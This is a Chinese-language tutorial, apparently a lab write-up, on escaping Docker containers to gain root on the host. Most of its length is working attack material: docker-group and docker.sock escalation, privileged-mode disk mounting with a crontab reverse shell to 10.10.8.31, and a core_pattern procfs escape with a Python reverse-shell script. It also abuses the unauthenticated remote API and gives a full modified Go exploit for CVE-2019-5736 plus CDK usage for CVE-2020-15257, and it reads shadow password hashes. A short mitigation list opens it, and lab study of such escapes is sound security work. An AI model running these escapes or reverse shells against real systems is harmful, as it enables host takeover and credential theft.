Docker 逃逸概述

  • Docker 逃逸(Docker escape)是指攻击者通过利用 Docker 容器环境中的漏洞或弱点,成功从容器内部获取到宿主机(主机操作系统)的访问权限,从而逃离了容器的限制,进一步入侵和控制宿主机。

  • 这种攻击形式可能会导致严重的安全漏洞,因为一旦攻击者获得了宿主机的权限,他们可以访问和控制宿主机上的其他容器、数据和资源。

  • 以下是一些可能导致 Docker 逃逸的主要漏洞和攻击向量:

    • 内核漏洞:Docker 容器和宿主机之间共享操作系统内核。因此,如果宿主机操作系统存在漏洞,则攻击者可能通过在容器内执行特殊的操作来利用这些漏洞,从而获得宿主机的访问权限。
    • 特权容器(privileged containers):特权容器是具有更高权限级别的容器,可以执行更多特权操作。如果攻击者能够创建或获取特权容器,他们可能利用这些容器的权限来逃逸到宿主机。
    • 容器逃逸漏洞:某些 Docker 容器运行时(runtime)或容器引擎本身可能存在漏洞,攻击者可以通过利用这些漏洞来逃逸到宿主机。
    • 文件系统漏洞:在 Docker 容器中,文件系统隔离是通过使用 Linux 内核的命名空间(namespace)和控制组(cgroup)来实现的。然而,存在一些可能绕过这种隔离机制的文件系统漏洞,攻击者可以利用这些漏洞来访问宿主机的文件系统。
    • 未正确配置的容器:不正确配置的容器可能会导致安全漏洞,例如容器之间的共享文件或共享网络配置错误,攻击者可以利用这些配置错误来逃逸到宿主机。
  • 为了减少 Docker 逃逸的风险,以下是一些建议的安全措施:

    • 及时更新和修补宿主机操作系统和 Docker 引擎,以确保最新的安全补丁已经应用。
    • 使用适当的访问控制和权限管理,限制容器的特权级别。
    • 限制容器之间和容器与宿主机之间的网络和文件系统访问。
    • 遵循最佳实践,将容器保持最小化,并且仅安装必要的软件和依赖项。
    • 使用安全的容器映像,并定期审查和更新这些映像。
    • 实施容器运行时的安全设置,例如启用 seccomp 和 AppArmor 等安全配置。
    • 定期审计和监控容器环境,以便及早发现任何异常活动。

Docker 环境判断

  • 查看 cgroup 信息,通过响应的内容可以识别当前进程所处的运行环境:
1
2
3
4
5
6
7
root@3a6943da5e20:/# cat /proc/1/cgroup
13:name=systemd:/docker/3a6943da5e20284a8f7d8e85a6fed827dbe6dd9361d6f6cc4d8e70585f4f2507
12:pids:/docker/3a6943da5e20284a8f7d8e85a6fed827dbe6dd9361d6f6cc4d8e70585f4f2507
11:hugetlb:/docker/3a6943da5e20284a8f7d8e85a6fed827dbe6dd9361d6f6cc4d8e70585f4f2507
10:net_prio:/docker/3a6943da5e20284a8f7d8e85a6fed827dbe6dd9361d6f6cc4d8e70585f4f2507
9:perf_event:/docker/3a6943da5e20284a8f7d8e85a6fed827dbe6dd9361d6f6cc4d8e70585f4f2507
......
  • 检查 /.dockerenv 文件,通过判断根目录下的 .dockerenv 文件是否存在,可以简单的识别 docker 环境:
1
2
root@3a6943da5e20:/# ls -al /.dockerenv
-rwxr-xr-x 1 root root 0 Feb 16 06:31 /.dockerenv
  • 检查 mount 信息,利用 mount 查看挂载磁盘是否存在 docker 相关信息:
1
2
3
4
root@3a6943da5e20:/# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/M5OPWQYYMLOXVPKNMM4QH3V67Z:/var/lib/docker/overlay2/l/7RWSQYGEZTHJ7KHAZVM46U4ZEG:/var/lib/docker/overlay2/l/ZXCGSXE6WZERYGD6NDUSLXIHVC:/var/lib/docker/overlay2/l/AR6ZYVUKZ5KXKLDRB3AQQSJKBT:/var/lib/docker/overlay2/l/4QZSEARML3MRGJRJLIVAWEDY3F,upperdir=/var/lib/docker/overlay2/e572c55a00976c74e93c62d96750f2f2ff20ba4f223633acd894a28c4cf58426/diff,workdir=/var/lib/docker/overlay2/e572c55a00976c74e93c62d96750f2f2ff20ba4f223633acd894a28c4cf58426/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
......
  • 查看硬盘信息,fdisk -l 容器输出为空,非容器有内容输出:
1
2
root@3a6943da5e20:/# fdisk -l
root@3a6943da5e20:/#
  • 查看文件系统以及挂载点,df -h 检查文件系统挂载的目录,也能够简单判断是否为 docker 环境:
1
2
3
4
5
6
7
root@3a6943da5e20:/# df -h
Filesystem Size Used Avail Use% Mounted on
overlay 16G 5.0G 9.9G 34% /
tmpfs 64M 0 64M 0% /dev
tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup
/dev/sda1 16G 5.0G 9.9G 34% /etc/hosts
......
  • 环境变量,Docker 中的环境变量通常偏少:
1
2
3
4
5
6
7
8
9
root@3a6943da5e20:/# env
HOSTNAME=3a6943da5e20
TERM=xterm
LS_COLORS=rs=0:di=01;......:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/
SHLVL=1
HOME=/root
_=/usr/bin/env

Docker 组提权

  • 使用 docker 的过程中,很多情况下都需要 root 权限才可以,因此管理员可能会将一些用户加入 docker 组来方便用户的使用。
  • docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。
  • 默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker
  • 给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
  • docker 组内用户执行如下命令,即可获得 root 权限:
1
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
  • 简单查看当前 Shell:
1
2
3
4
5
6
7
8
9
10
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# id
uid=0(root) gid=0(root) groups=0(root)
# tail -n 5 /etc/passwd
goktech:x:1000:1000:goktech,,,:/home/goktech:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
traitor2374:x:1001:1001:CVE-2021-3560,,,:/home/traitor2374:/bin/bash
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin
ruser:x:1002:1002::/home/ruser:/bin/rbash
  • 怎么实现的呢?rootplease 中的 exploit.sh 内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if [ ! -d "/hostOS" ]; then
echo
echo ==== ERROR ====
echo It looks like /hostOS does not exist
echo Please run this docker image with a /hostOS volume mounted to /
echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
echo
exit
fi

if [ ! -f "/hostOS/bin/sh" ] && [ ! -L "/hostOS/bin/sh" ]; then
echo
echo ==== ERROR ====
echo It looks like /hostOS does not contain a root filesystem
echo Please run this docker image with a /hostOS volume mounted to /
echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
echo
exit
fi

echo
echo You should now have a root shell on the host OS
echo Press Ctrl-D to exit the docker instance / shell
chroot /hostOS /bin/sh
  • 重点只在于最后一句,这行代码将当前的进程切换到 “/hostOS” 目录,并启动一个新的 shell,使用户能够在宿主操作系统的根文件系统中执行命令。这样,用户就可以获得宿主操作系统的 root shell 权限。

Docker 配置不当逃逸

特权模式逃逸

  • 特权模式(–privileged):使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
  • 使用特权模式开启一个测试容器:
1
docker run -it --privileged --name pri ubuntu:14.04 /bin/bash

判断是否为特权模式

  • 在容器中使用如下命令判断是否是特权模式启动,如果是以特权模式启动的话,CapEff 对应的掩码值应该为 0000003fffffffff/0000001fffffffff
1
2
3
4
5
6
root@c7dc3e44bada:/# cat /proc/self/status | grep Cap   
CapInh: 0000003fffffffff
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
  • 还可以使用 fdisk -l 查看宿主机的磁盘设备,如果不在 privileged 容器内部,是没有权限查看磁盘列表并操作挂载的:
1
2
3
4
5
6
7
8
9
10
11
12
13
root@c7dc3e44bada:/# fdisk -l

Disk /dev/sda: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders, total 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0003c157

Device Boot Start End Blocks Id System
/dev/sda1 * 2048 33554431 16776192 83 Linux
/dev/sda2 33556478 41940991 4192257 5 Extended
/dev/sda5 33556480 41940991 4192256 82 Linux swap / Solaris

文件挂载逃逸

  • 这里我们尝试使用文件挂载进行逃逸,新建一个目录,将宿主机所在磁盘挂载到新建的目录中:
1
2
3
4
5
6
7
8
root@c7dc3e44bada:/# mkdir /test && mount /dev/sda1 /test
root@c7dc3e44bada:/# df -h
Filesystem Size Used Avail Use% Mounted on
overlay 16G 5.0G 9.9G 34% /
tmpfs 64M 0 64M 0% /dev
tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup
/dev/sda1 16G 5.0G 9.9G 34% /test
shm 64M 0 64M 0% /dev/shm
  • 创建了一个名为 test 的目录,并将 /dev/sda1 文件系统挂载到该目录中。这意味着该文件系统中的文件和文件夹将出现在 /test 目录中,可以通过 /test 目录访问和操作这些文件。
  • 之后使用 tail 查看 shadow 文件即可:
1
2
3
4
root@c7dc3e44bada:/# tail -n 3 /test/etc/shadow
goktech:$1$dg./RTkb$qBA2DOAUO//77Fl2TvRX8/:19508:0:99999:7:::
sshd:*:19509:0:99999:7:::
guest:$1$salt$638tR8bROOvPnPklDQ9Vf/:19521:0:99999:7:::
  • 也可以在定时任务中写入反弹 Shell:
1
2
3
root@c7dc3e44bada:/# echo '* * * * * root bash -c '\''bash -i &> /dev/tcp/10.10.8.31/4444 0>&1'\''' > /test/etc/crontab
root@c7dc3e44bada:/# tail -n 1 /test/etc/crontab
* * * * * root bash -c 'bash -i &> /dev/tcp/10.10.8.31/4444 0>&1'
  • 成功反弹:
1
2
3
4
5
6
7
8
9
10
11
root at kali in ~/Desktop 
$ nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.42: inverse host lookup failed: Host name lookup failure
connect to [10.10.8.31] from (UNKNOWN) [10.10.8.42] 47866
bash: cannot set terminal process group (4087): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~#

docker.sock 挂载逃逸

  • Docker Socket(也称为 Docker API Socket)是 Docker 引擎的 UNIX 套接字文件,用于与 Docker 守护进程(Docker daemon)进行通信。

  • Docker 守护进程是 Docker 引擎的核心组件,负责管理和执行容器。Docker Socket 允许用户通过基于 RESTful API 的请求与 Docker 守护进程进行通信,以便执行各种操作,例如创建、运行和停止容器,构建和推送镜像,查看和管理容器的日志等。

  • 在启动 docker 容器时,将宿主机 /var/run/docker.sock 文件挂载到 docker 容器中。那么在 docker 容器中,也可以操作宿主机的 docker。

  • 开启一个测试容器:

1
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock --name sock ubuntu:14.04 /bin/bash

判断是否存在 docker.sock

  • 判断当前容器是否挂载 Docker Socket,如果存在文件则说明 Docker Socket 被挂载:
1
2
root@dea1de294b33:/# find / -name docker.sock
/run/docker.sock

docker.sock 逃逸

  • 需要在容器中安装 docker:
1
2
apt-get update
apt-get install docker.io
  • 接下来的逃逸就十分简单了,利用之前 Docker 组提权的思路获取到宿主机 shell:
1
docker -H unix:///var/run/docker.sock run -v /:/hostOS -i -t chrisfosterelli/rootplease
  • 可以看到这时我们已经拿到了宿主机的 Shell:
1
2
3
4
5
6
7
8
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# id
uid=0(root) gid=0(root) groups=0(root)
# tail -n 3 /etc/passwd
goktech:x:1000:1000:goktech,,,:/home/goktech:/bin/bash
sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologin
guest:x:0:0::/home/test:/bin/bash

Pocfs 挂载逃逸

  • Procfs 逃逸是指攻击者在操作系统中的 /proc 文件系统中利用漏洞或弱点,获取未经授权的访问权限或提升权限。

  • /proc 文件系统是一种特殊的虚拟文件系统,用于提供有关运行中进程和系统状态的信息。

  • 攻击者可以通过利用 /proc 文件系统的漏洞,获取敏感信息、执行恶意操作或提升其在系统中的权限。

  • Procfs 逃逸通常涉及对 /proc 文件系统中的特定文件、目录或接口进行操作,以绕过系统的安全机制或限制。

  • 攻击者可能利用以下几种常见的 /proc 漏洞或弱点进行逃逸:

    • 进程信息泄露:/proc 目录中的一些文件提供了有关运行中进程的详细信息,包括进程 ID、命令行参数、环境变量等。攻击者可以利用这些信息来了解系统的运行状态和配置,以便进行更有针对性的攻击。
    • 文件系统逃逸:/proc 文件系统提供对系统文件系统的访问,攻击者可能通过操作 /proc 中的文件和目录,绕过文件系统的访问控制机制,获取对受限文件的读写权限。
    • 特权提升:攻击者可以利用 /proc 文件系统中的漏洞或错误配置,提升其在系统中的权限级别。例如,通过修改 /proc 中特定进程的权限或状态,攻击者可以提升自己的权限,获得更高的系统访问权限。
  • core_pattern(核心转储模式):是 Linux 系统中的一个配置参数,用于定义在程序崩溃时生成核心转储文件的方式和位置。当一个程序发生崩溃(如段错误)时,操作系统会生成一个包含程序崩溃状态的核心转储文件,以便进行调试和故障排除。

  • 开启一个测试容器:

1
docker run --rm -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern --name procfs ubuntu:14.04 /bin/bash

判断是否存在 procfs 逃逸

  • 如果返回了两个 core_pattern 文件,那么很可能就是挂载了宿主机的 procfs:
1
2
3
root@0c10cf87363d:/# find / -name core_pattern
/proc/sys/kernel/core_pattern
/host/proc/sys/kernel/core_pattern

Pocfs 逃逸

  • 接下来我们需要找到 docker 在当前宿主机的绝对路径:
1
2
root@0c10cf87363d:/# cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
workdir=/var/lib/docker/overlay2/6cf4df7113193b5a60623b0070712337767a7a44da4bd4ca992f4a6436f0bf63/work 0 0
  • 去除 work 换成 merged:
1
/var/lib/docker/overlay2/6cf4df7113193b5a60623b0070712337767a7a44da4bd4ca992f4a6436f0bf63/merged
  • 接下来我们需要准备一个反弹 Shell 的脚本以及一个可以制造崩溃,触发内存转储的代码:
1
vi /tmp/xixi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3
import os
import pty
import socket
lhost = "10.10.8.31"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
  • 接下来赋权并且将该脚本写到目标的 proc 目录下:
1
2
3
root@0c10cf87363d:/# chmod 777 /tmp/xixi.py
root@0c10cf87363d:/# echo -e "|/var/lib/docker/overlay2/6cf4df7113193b5a60623b0070712337767a7a44da4bd4ca992f4a6436f0bf63/merged/tmp/xixi.py
> \rcore " > /host/proc/sys/kernel/core_pattern
  • 然后我们使用 C 写一个可以触发崩溃的程序:
1
vi xixi.c
1
2
3
4
5
6
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
  • 安装 gcc 编译一下:
1
2
3
4
apt update
apt install gcc
gcc xixi.c -o xixi
chmod 777 xixi
  • 紧接着我们在攻击机上起监听:
1
2
3
4
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...

  • 于此同时,我们在容器内运行该程序:
1
./xixi
  • 试了几遍没成功,蛋疼。

Docker 远程 API 未授权访问

注:这里本来打算用 Vulhub 的镜像靶场,但是 POC 利用一直失败。

  • Docker 的 2375 端口主要用于 Docker 守护进程的监听和通信。它主要用于 Docker 容器的网络连接和通信,包括容器的启动、停止、删除等操作。

  • 该端口可以被 Docker 守护进程用于接收来自客户端的请求,并与其进行交互和通信。需要注意的是,使用该端口需要确保防火墙设置正确,以避免潜在的安全风险。

  • 在早期的版本安装 Docker 是会默认将 2375 端口对外开放,目前改为默认只允许本地访问。

  • 开启远程访问:

1
2
3
4
5
6
7
8
9
10
root@ubuntu:~# service docker stop
root@ubuntu:~# dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
WARN[2024-02-16T02:14:00.750165550-08:00] [!] DON'T BIND ON ANY IP ADDRESS WITHOUT setting --tlsverify IF YOU DON'T KNOW WHAT YOU'RE DOING [!]
INFO[2024-02-16T02:14:00.751762345-08:00] libcontainerd: started new docker-containerd process pid=9226
INFO[2024-02-16T02:14:00.751815380-08:00] parsed scheme: "unix" module=grpc
INFO[2024-02-16T02:14:00.751835980-08:00] scheme "unix" not registered, fallback to default scheme module=grpc
INFO[2024-02-16T02:14:00.751870834-08:00] ccResolverWrapper: sending new addresses to cc: [{unix:///var/run/docker/containerd/docker-containerd.sock 0 <nil>}] module=grpc
INFO[2024-02-16T02:14:00.751891964-08:00] ClientConn switching balancer to "pick_first" module=grpc
INFO[2024-02-16T02:14:00.751945366-08:00] pickfirstBalancer: HandleSubConnStateChange: 0xc4201b72c0, CONNECTING module=grpc
......
  • 在没有其他网络访问限制的主机上使用,则会在公网暴漏端口:

image-20240216181450092

  • 此时访问 /containers/json,便会得到所有容器 id 字段:

image-20240216181644620

  • 创建一个 exec:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{
"AttachStdin": true,
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["cat", "/etc/passwd"],
"DetachKeys": "ctrl-p,ctrl-q",
"Privileged": true,
"Tty": true
}

image-20240216182007509

  • 执行 exec 中的命令,成功读取 passwd 文件:
1
2
3
4
5
6
7
8
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
"Detach": false,
"Tty": false
}

image-20240216182049359

  • 这种方式只是获取到了 docker 主机的命令执行权限,但是还无法逃逸到宿主机。因此还是需要写公钥或者计时任务进行逃逸。

  • 在容器内安装 docker:
1
2
apt-get update
apt-get install docker.io
  • 查看宿主机 docker 镜像信息:
1
2
3
4
5
6
7
root@0d40f8bceeec:/# docker -H tcp://10.10.8.42:2375 images
REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE
unauthorized-rce_docker latest sha256:6da3b 8 months ago 146.7 MB
dirtycow-docker-vdso_dirtycow latest sha256:128df 8 months ago 357.6 MB
ubuntu 16.04 sha256:b6f50 2.464046 years ago 134.8 MB
ubuntu <none> sha256:b6f50 2.464046 years ago 134.8 MB
......
  • 启动一个容器并将宿主机根目录挂在到容器的 test 目录:
1
docker -H tcp://10.10.8.42:2375 run -it -v /:/test ubuntu:14.04 /bin/bash
  • 计时任务反弹 shell:
1
2
3
root@68b988a59941:/# echo '* * * * * root bash -c '\''bash -i &> /dev/tcp/10.10.8.31/4444 0>&1'\''' > /test/etc/crontab
root@68b988a59941:/# cat /test/etc/crontab
* * * * * root bash -c 'bash -i &> /dev/tcp/10.10.8.31/4444 0>&1'
  • 成功反弹:
1
2
3
4
5
6
7
8
9
10
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.42: inverse host lookup failed: Host name lookup failure
connect to [10.10.8.31] from (UNKNOWN) [10.10.8.42] 48652
bash: cannot set terminal process group (10366): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:~# id
id
uid=0(root) gid=0(root) groups=0(root)

Docker runC 容器逃逸漏洞(CVE-2019-5736)

漏洞概述

  • 漏洞描述:2019年2月11日,runC 的维护团队报告了一个新发现的漏洞,SUSE Linux GmbH 高级软件工程师 Aleksa Sarai 公布了影响 DockercontainerdPodmanCRI-O 等默认运行时容器 runC 的严重漏洞 CVE-2019-5736。漏漏洞利用会触发容器逃逸、影响整个容器主机的安全,最终导致运行在该主机上的其他容器被入侵。漏洞影响 AWSGoogle Cloud 等主流云平台。
  • 漏洞利用:通过覆写和执行主机系统 runC 二进制文件完成的。
  • 影响版本
    • docker version <= 18.09.2
    • RunC version <= 1.0-rc6
  • runC 容器逃逸漏洞针对较低版本的 docker 基本上都是可以尝试使用的,不过该漏洞是 1-click 利用,也就是说再我们进行攻击以后需要等待容器管理员再次与容器进行交互才能触发。而且该漏洞利用完毕后经常会导致 docker 命令崩溃,所以再利用时需要三思。

漏洞复现

  • 由于这个环境比较难搭,这里使用大佬的脚本进行环境安装(CentOS7):
1
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

注:由于是 github 上的文件内容,一般没科学上网都拉不下来,建议先下载到本地。

  • 查看 docker、runC 版本:
1
2
3
4
5
6
7
[root@localhost ~]# docker -v
Docker version 18.06.0-ce, build 0ffa825

[root@localhost ~]# docker-runc -v
runc version 1.0.0-rc5+dev
commit: 69663f0bd4b60df09991c08812a60108003fa340
spec: 1.0.0
  • 上述脚本会自己拉取一个镜像,并进入容器:
1
2
root@00658bcb78bf:/# id
uid=0(root) gid=0(root) groups=0(root)
  • 在 Kali 中下载 Poc:
1
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
  • 进入目录并修改 main.go 文件,修改后内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)


var shellCmd string

func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}

func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n bash -c 'bash -i &> /dev/tcp/10.10.8.31/4444 0>&1'" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/bash")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/bash successfully")

// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}

// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")

// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}
  • 使用如下命令进行编译:
1
2
3
4
# 在 Kali 中安装 Go
apt-get install golang -y
# 编译一下
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
  • 在 Kali 上开启 Web 服务传递 PoC,同时使用 nc 监听反弹 shell,至此在 Kali 上的操作完毕。

  • 由于 Docker 容器很多工具不存在,手动更新 APT 源,下载 wget 工具:

1
2
apt update
apt install wget -y
  • 赋予 POC 权限并执行:
1
2
root@00658bcb78bf:/# chmod +x main ; ./main
[+] Overwritten /bin/bash successfully
  • 这时文件运行会开启监听,当使用 /bin/bash 进入容器时就会触发反弹:
1
2
[root@localhost ~]# docker exec -it 00658bcb78bf /bin/bash
No help topic for '/bin/bash'
  • 这时容器监听结束:
1
2
3
4
5
6
7
root@00658bcb78bf:/# chmod +x main ; ./main
[+] Overwritten /bin/bash successfully
[+] Found the PID: 2753
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc000055560}
[+] The command executed is#!/bin/bash
bash -c 'bash -i &> /dev/tcp/10.10.8.31/4444 0>&1'
  • 在 Kali 中成功接收到反弹:
1
2
3
4
5
6
7
8
9
10
root at kali in ~/Desktop/CVE-2019-5736-PoC (master) 
$ nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.137: inverse host lookup failed: Host name lookup failure
connect to [10.10.8.31] from (UNKNOWN) [10.10.8.137] 44482
bash: no job control in this shell
<f903fcaf29c173d2c2b5132f8034799674019cd26ca29ffd]# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:container_runtime_t:s0
<f903fcaf29c173d2c2b5132f8034799674019cd26ca29ffd]#

Docker Containerd-shim 容器逃逸漏洞(CVE-2020-15257)

漏洞概述

  • 漏洞描述:docker 容器以 --net=host 启动会暴露 containerd-shim 监听的 Unix 域套接字。

  • 漏洞原理:containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过 containerd 完成的。它向上为 Docker Daemon 提供了 gRPC 接口,向下通过 containerd-shim 结合 runC,实现对容器的管理控制。

  • 影响版本:

    • containerd < 1.4.3

    • containerd < 1.3.9

漏洞复现

  • 这个环境比较复杂,需要使用到 Ubuntu:
1
2
3
4
apt-get install ca-certificates curl software-properties-common -y
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1 -y
  • 安装完成后查看 docker 版本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@889013ea6dfe:~# docker version
Client: Docker Engine - Community
Version: 19.03.6
API version: 1.40
Go version: go1.12.16
Git commit: 369ce74a3c
Built: Thu Feb 13 01:28:06 2020
OS/Arch: linux/amd64
Experimental: false

Server: Docker Engine - Community
Engine:
Version: 19.03.6
API version: 1.40 (minimum version 1.12)
Go version: go1.12.16
Git commit: 369ce74a3c
Built: Thu Feb 13 01:26:38 2020
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.4
GitCommit: e6b3f5632f50dbc4e9cb6288d911bf4f5e95b18e
runc:
Version: 1.0.0-rc6+dev
GitCommit: 6635b4f0c6af3810594d2770f662f34ddc15b40d
docker-init:
Version: 0.18.0
GitCommit: fec3683
  • 使用 –net=host 启动容器,并进入到该容器内部:
1
2
3
4
5
root@ctfd:~# docker run -itd --net=host ubuntu:18.04 /bin/bash
bde6975e57469bbef70391473f6f1a97edb26d9847b09beea1d76b7c9b112436
root@ctfd:~# docker exec -it bde6975e5746 /bin/bash
root@ctfd:/# id
uid=0(root) gid=0(root) groups=0(root)
  • 这里使用 CDK 进行漏洞利用,在 Kali 上下载工具:
1
wget https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64
  • 在 Kali 上开启 Web 服务传递 PoC,同时使用 nc 监听反弹 shell。

  • 由于 Docker 容器很多工具不存在,手动更新 APT 源,下载 wget 工具:

1
2
apt update
apt install wget -y
  • 赋予 POC 权限并执行:
1
2
3
4
5
6
7
root@ctfd:/# chmod +x cdk_linux_amd64
root@ctfd:/# ./cdk_linux_amd64 run shim-pwn 10.10.8.31 4444
2024/02/17 09:07:19 trying to run shell cmd: 10.10.8.31 4444
2024/02/17 09:07:19 try socket: @/containerd-shim/moby/bde6975e57469bbef70391473f6f1a97edb26d9847b09beea1d76b7c9b112436/shim.sock
2024/02/17 09:07:19 rpc error response.:
rpc error: code = Unknown desc = OCI runtime create failed: container_linux.go:344: starting container process caused "process_linux.go:424: container init caused \"process_linux.go:407: running prestart hook 0 caused \\\"error running hook: exit status 127, stdout: , stderr: bash: 10.10.8.31: command not found\\\\n\\\"\""
2024/02/17 09:07:19 exploit failed.
  • 这里试了好久,一直报错,最后发现网上都是使用 cdk_v0.1.6 这个版本,试试:
1
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
  • 在传输到 docker 容器中:
1
2
3
root@ctfd:/tmp# ./cdk_linux_amd64 run shim-pwn 10.10.8.31 12345
2024/02/17 09:16:54 tring to spawn shell to 10.10.8.31:12345
2024/02/17 09:16:54 try socket: @/containerd-shim/moby/bde6975e57469bbef70391473f6f1a97edb26d9847b09beea1d76b7c9b112436/shim.sock
  • 成功反弹:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root at kali in ~ 
$ nc -lvvp 12345
listening on [any] 12345 ...
10.10.8.128: inverse host lookup failed: Host name lookup failure
connect to [10.10.8.31] from (UNKNOWN) [10.10.8.128] 46798
bash: cannot set terminal process group (14389): Inappropriate ioctl for device
bash: no job control in this shell
<5f26bdcfdadf24c81c3fee9af4d410da7bf2a1/merged/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
<5f26bdcfdadf24c81c3fee9af4d410da7bf2a1/merged/tmp# tail -n 5 /etc/passwd
tail -n 5 /etc/passwd
pulse:x:119:123:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
